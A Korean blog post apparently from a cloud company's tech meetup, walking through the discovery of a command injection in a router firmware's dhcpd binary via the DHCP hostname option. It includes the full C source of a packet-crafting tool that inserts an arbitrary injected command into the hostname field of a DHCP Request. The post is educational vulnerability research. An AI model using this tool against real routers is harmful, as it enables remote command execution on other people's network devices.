Skip to main content

Firmware Command Injection을 알아보자!

About 3 minCArticle(s)blogmeetup.nhncloud.comc

Firmware Command Injection을 알아보자! 관련

C > Article(s)

Article(s)

Firmware Command Injection을 알아보자! | NHN Cloud Meetup
Firmware Command Injection을 알아보자!
[NHN클라우드] Meetup!_Firmware Command Injection을 알아보자!
[NHN클라우드] Meetup!_Firmware Command Injection을 알아보자!

들어가며

오늘날 IoT(Internet of Things, 사물인터넷)는 실생활에서 많은 편리함을 제공하고 있습니다. 사람이 물리적으로 있을 수 없는 곳에서 우리의 눈과 귀를 대신하도록 프로그래밍된 컴퓨터가 모든 데이터를 수집하고 활용하여 우리에게 제공해 줍니다.

하지만 이와 반대되는 경우도 있습니다. 우리에게 편리함을 주는 기기가 어떻게 반대로 사용될 수 있는지 분석 방법을 알아보고 이를 실습해 보려고 합니다.

분석 환경 및 사용 도구

※ FMK(firmware-mod-kit)로 공유기의 펌웨어를 추출 및 분석했다는 전제하에 본문 실습을 진행하였습니다.
※ FMK(firmware-mod-kit)로 공유기의 펌웨어를 추출 및 분석했다는 전제하에 본문 실습을 진행하였습니다.

분석 절차

Firmware Command Injection은 다음과 같은 조건을 만족해야 합니다.

  • 시스템 함수를 사용하는가?
  • 시스템 함수의 인자가 동적으로 생성되는가?
  • 시스템 함수의 인자가 사용자 입력 값에 영향을 받는가?

(첫 번째) 시스템 함수를 사용하는가?

Grep 명령어를 통해 system 문자열을 검색합니다. System 함수를 사용 중이면 ELF 헤더에 문자열로 기록됩니다. 따라서 system 문자열 검색을 통해 system 함수를 사용 중인 바이너리를 탐색할 수 있습니다. 검색된 바이너리 중 dhcpd 바이너리를 분석하려고 합니다.

  • dhcpd 바이너리를 IDA로 디스어셈블링한 후 system 문자열을 검색합니다. sendACK 함수에서 System함수를 호출하고 있는 것을 확인할 수 있습니다.

(두 번째) 시스템 함수의 인자가 동적으로 생성되는가?

sendACK 함수에서 System 함수를 사용하는 블록을 확인할 수 있습니다.

  • 해당 블록의 코드에서 sprint 함수에 의해 동적으로 생성되는 인자가 System 함수에 전달되는 것을 확인할 수 있습니다.
  • sprint 함수에 동적 문자열과 동적 정수가 전달되며, 동적 문자열은 $S1 레지스터에 저장되어 있으므로 상위 코드에서 연산 후 생성된 값이라는 것을 추측할 수 있습니다.

(세 번째) 시스템 함수의 인자가 사용자 입력 값에 영향을 받는가?

앞의 과정에서 sprintf 함수의 문자열 인자가 상위 코드에서 연산 후 생성된 값이라는 것을 추측하였습니다. 값이 레지스터에 존재한다는 것은 연산 과정을 거쳤다는 뜻입니다. 해당 인자를 역추적하여 생성되는 과정을 분석한 결과 sprintf 함수의 문자열 인자는 get_option 함수의 리턴 값이라는 것을 확인하였습니다.

  • get_option 함수의 첫 번째 인자는 dhcp_message 구조체의 포인터이고, 두 번째 인자는 옵션 코드입니다. 해당 블록에서는 0x0C를 전달하며, 0x0c는 Client의 Hostname을 의미합니다.
  • get_option 함수의 리턴 값은 Client의 Hostname의 주소입니다. 결국 system 함수의 인자는 Client의 Hostname이 동적으로 삽입됩니다.
  • SendACK라는 함수 이름으로 미루어 보아 DHCP ACK를 보내는 함수로 추측됩니다.
  • DHCP Request 패킷의 Hostname을 조작하면 command Injection 공격이 가능할 것이라 추측됩니다.

실습

DHCP Request 패킷의 Hostname 조작을 위해 간단한 프로그램을 제작하였습니다. (Python의 scapy 라이브러리를 통해 직접 구현해 보는걸 추천합니다.)

main.c

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<winSock2.h>
#include<IPHlpApi.h>
#include "dhcp_req.h"
#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "ws2_32.lib")
void error_handling(char * message);
void set_boost_custom(struct boost_custom * boost_custom_o, int boost_custom_size);
void set_mac_address(struct boost_custom * boost_custom_o);
void set_ip_address(struct boost_custom * boost_custom_o);
void set_injection_code(struct boost_custom * boost_custom_o, char * injection_code, int injection_code_size);
int main(int argc, char ** argv)
{
    WSADATA wsa_data;
    SOCKET send_sock;
    SOCKADDR_IN send_addr;
    struct boost_custom boost_custom_o;
    struct boost_custom * boost_custom_ptr = &boost_custom_o;
    short dhcp_port = 67;

    if (argc != 3)
    {
        printf("Usage : %s<DHCP Server IP address><Injection Code>", argv[0]);
        exit(1);
    }
    if (WSAStartup(MAKEWORD(2, 2), &wsa_data) != 0)
        error_handling("WSA startup error!");
    send_sock = socket(PF_INET, SOCK_DGRAM, 0);
    if (send_sock == INVALID_SOCKET)
        error_handling("socket error!");
    memset(&send_addr, 0, sizeof(send_addr));
    send_addr.sin_family = AF_INET;
    send_addr.sin_addr.s_addr = inet_addr(argv[1]);
    send_addr.sin_port = htons(dhcp_port);

    if (connect(send_sock, (SOCKADDR*)&send_addr, sizeof(send_addr)) == SOCKET_ERROR)
        error_handling("connect error!");

    set_boost_custom(boost_custom_ptr, sizeof(boost_custom_o));
    set_mac_address(boost_custom_ptr);
    set_ip_address(boost_custom_ptr);
    set_injection_code(boost_custom_ptr, argv[2], strlen(argv[2]));
    send(send_sock, (const char *)&boost_custom_o, sizeof(boost_custom_o), 0);
    return 0;
}
void error_handling(char * message)
{
    fputs(message, stderr);
    fputc('\n', stderr);
    exit(1);
}
void set_boost_custom(struct boost_custom * boost_custom_p, int boost_custom_size)
{
    memset(boost_custom_p, 0, boost_custom_size);
    boost_custom_p->Message_type = 1;
    boost_custom_p->Hardware_type = 1;
    boost_custom_p->Hardware_address_length = 6;
    boost_custom_p->Hops = 0x00;
    boost_custom_p->Transaction_ID = htonl(0x5a4f1782);
    boost_custom_p->Seconds_elapsed = 0x0000;
    boost_custom_p->Bootp_flags = 0x0000;
    boost_custom_p->Client_IP_address = htonl(INADDR_ANY);
    boost_custom_p->Your_client_IP_address = htonl(INADDR_ANY);
    boost_custom_p->Next_server_IP_address = htonl(INADDR_ANY);
    boost_custom_p->Relay_agent_IP_address = htonl(INADDR_ANY);
    boost_custom_p->Magic_cookie = htonl(0x63825363);
    boost_custom_p->Option_type32 = 0x35;
    boost_custom_p->Option_length32 = 0x01;
    boost_custom_p->DHCP_Request32 = 0x03;
    boost_custom_p->Option_type61 = 0x3d;
    boost_custom_p->Option_length61 = 0x07;
    boost_custom_p->Hardware_type_Ethernet61 = 0x01;
    boost_custom_p->option_type50 = 0x32;
    boost_custom_p->option_length50 = 0x04;
    boost_custom_p->option_type12 = 0x0c;
    boost_custom_p->option_length12 = NAMESIZE;
    boost_custom_p->option_type81 = 0x51;
    boost_custom_p->option_length81 = 0x03 + NAMESIZE;
    boost_custom_p->flags81 = 0x00;
    boost_custom_p->a_rr_result81 = 0x00;
    boost_custom_p->ptr_rr_result81 = 0x00;
    boost_custom_p->option_type60 = 0x3c;
    boost_custom_p->option_length60 = 0x08;
    boost_custom_p->vendor_class_identifier_msft60[0] = 0x4d;
    boost_custom_p->vendor_class_identifier_msft60[1] = 0x53;
    boost_custom_p->vendor_class_identifier_msft60[2] = 0x46;
    boost_custom_p->vendor_class_identifier_msft60[3] = 0x54;
    boost_custom_p->vendor_class_identifier_msft60[4] = 0x20;
    boost_custom_p->vendor_class_identifier_msft60[5] = 0x35;
    boost_custom_p->vendor_class_identifier_msft60[6] = 0x2e;
    boost_custom_p->vendor_class_identifier_msft60[7] = 0x30;
    boost_custom_p->option255 = 0xff;
    boost_custom_p->option_type55 = 0x37;
    boost_custom_p->option_length55 = 0x0d;
    boost_custom_p->parameter_request_list_item_1_subnet_mask = 0x01;
    boost_custom_p->parameter_request_list_item_3_router = 0x03;
    boost_custom_p->parameter_request_list_item_6_domain_name_server = 0x06;
    boost_custom_p->parameter_request_list_item_15_domain_name = 0x0f;
    boost_custom_p->parameter_request_list_item_31_perform_router_discover = 0x1f;
    boost_custom_p->parameter_request_list_item_33_static_route = 0x21;
    boost_custom_p->parameter_request_list_item_43_vendor_specific_information = 0x2b;
    boost_custom_p->parameter_request_list_item_44_netbios_over_tcp_ip_name_server = 0x2c;
    boost_custom_p->parameter_request_list_item_46_netbios_over_tcp_ip_node_type = 0x2e;
    boost_custom_p->parameter_request_list_item_47_netbios_over_tcp_ip_scope = 0x2f;
    boost_custom_p->parameter_request_list_item_121_classless_static_route = 0x79;
    boost_custom_p->parameter_request_list_item_249_private_classless_static_route_microsoft = 0xf9;
    boost_custom_p->parameter_request_list_item_252_private_proxy_autodiscovery = 0xfc;
}
void set_mac_address(struct boost_custom * boost_custom_o)
{
    DWORD size = sizeof(PIP_ADAPTER_INFO);
    PIP_ADAPTER_INFO Info;
    ZeroMemory(&Info, size);
    int result = GetAdaptersInfo(Info, &size);
    if (result == ERROR_BUFFER_OVERFLOW)
    {
        Info = (PIP_ADAPTER_INFO)malloc(size);
        GetAdaptersInfo(Info, &size);
    }
    do {
        if (Info->GatewayList.IpAddress.String[0] == '0')
        {
            Info = Info->Next;
        }
        else
        {
            for (int i = 0; i< 6; i++)
            {
                boost_custom_o->Client_MAC_address[i] = Info->Address[i];
                boost_custom_o->Client_MAC_address61[i] = Info->Address[i];
            }
            break;
        }
    } while (Info);
}
void set_ip_address(struct boost_custom * boost_custom_o)
{
    int ip_addr;
    char * ip_addr_temp = (char *)& ip_addr;
    DWORD size = sizeof(PIP_ADAPTER_INFO);
    PIP_ADAPTER_INFO Info;
    ZeroMemory(&Info, size);
    int result = GetAdaptersInfo(Info, &size);
    if (result == ERROR_BUFFER_OVERFLOW)
    {
        Info = (PIP_ADAPTER_INFO)malloc(size);
        GetAdaptersInfo(Info, &size);
    }
    do {
        if (Info->GatewayList.IpAddress.String[0] == '0')
        {
            Info = Info->Next;
        }
        else
        {
            ip_addr = inet_addr(Info->IpAddressList.IpAddress.String);
            for (int i = 0; i< 4; i++)
                boost_custom_o->requested_ip_addres50[i] = ip_addr_temp[i];
            break;
        }
    } while (Info);
}
void set_injection_code(struct boost_custom * boost_custom_o, char * injection_code, int injection_code_size)
{
    memset(&boost_custom_o->host_name12, 0, NAMESIZE);
    memset(&boost_custom_o->client_name81, 0, NAMESIZE);
    for (int i = 0; i< injection_code_size; i++)
    {
        boost_custom_o->host_name12[i] = injection_code[i];
        boost_custom_o->client_name81[i] = injection_code[i];
    }
}

dhcp_req.h

NAMESIZE 12
struct boost_custom {
    char Message_type;
    char Hardware_type;
    char Hardware_address_length;
    char Hops;
    int Transaction_ID;
    short Seconds_elapsed;
    short Bootp_flags;
    int Client_IP_address;
    int Your_client_IP_address;
    int Next_server_IP_address;
    int Relay_agent_IP_address;
    char Client_MAC_address[6];
    char Client_hardware_address_padding[10];
    char Server_host_name_not_given[64];
    char Boot_file_name_not_given[128];
    int Magic_cookie;
    struct Option32 {
        char Option_type32;
        char Option_length32;
        char DHCP_Request32;
    };
    struct Option61 {
        char Option_type61;
        char Option_length61;
        char Hardware_type_Ethernet61;
        char Client_MAC_address61[6];
    };
    struct option50 {
        char option_type50;
        char option_length50;
        char requested_ip_addres50[4];
    };
    struct option12 {
        char option_type12;
        char option_length12;
        char host_name12[NAMESIZE];
    };
    struct option81 {
        char option_type81;
        char option_length81;
        char flags81;
        char a_rr_result81;
        char ptr_rr_result81;
        char client_name81[NAMESIZE];
    };
    struct option60 {
        char option_type60;
        char option_length60;
        char vendor_class_identifier_msft60[8];
    };
    struct option55 {
        char option_type55;
        char option_length55;
        char parameter_request_list_item_1_subnet_mask;
        char parameter_request_list_item_3_router;
        char parameter_request_list_item_6_domain_name_server;
        char parameter_request_list_item_15_domain_name;
        char parameter_request_list_item_31_perform_router_discover;
        char parameter_request_list_item_33_static_route;
        char parameter_request_list_item_43_vendor_specific_information;
        char parameter_request_list_item_44_netbios_over_tcp_ip_name_server;
        char parameter_request_list_item_46_netbios_over_tcp_ip_node_type;
        char parameter_request_list_item_47_netbios_over_tcp_ip_scope;
        char parameter_request_list_item_121_classless_static_route;
        char parameter_request_list_item_249_private_classless_static_route_microsoft;
        char parameter_request_list_item_252_private_proxy_autodiscovery;
    };
    char option255;
    char padding_00;
};

조작 프로그램을 이용해 DHCP request 패킷의 Hostname을 시스템 명령어로 변조하면 System 명령어를 수행시킬 수 있습니다. 이와 같이 command Injection이 검증되었습니다.

긴 글을 읽어 주셔서 감사합니다.


이찬희 (MarkiiimarK)
Never Stop Learning.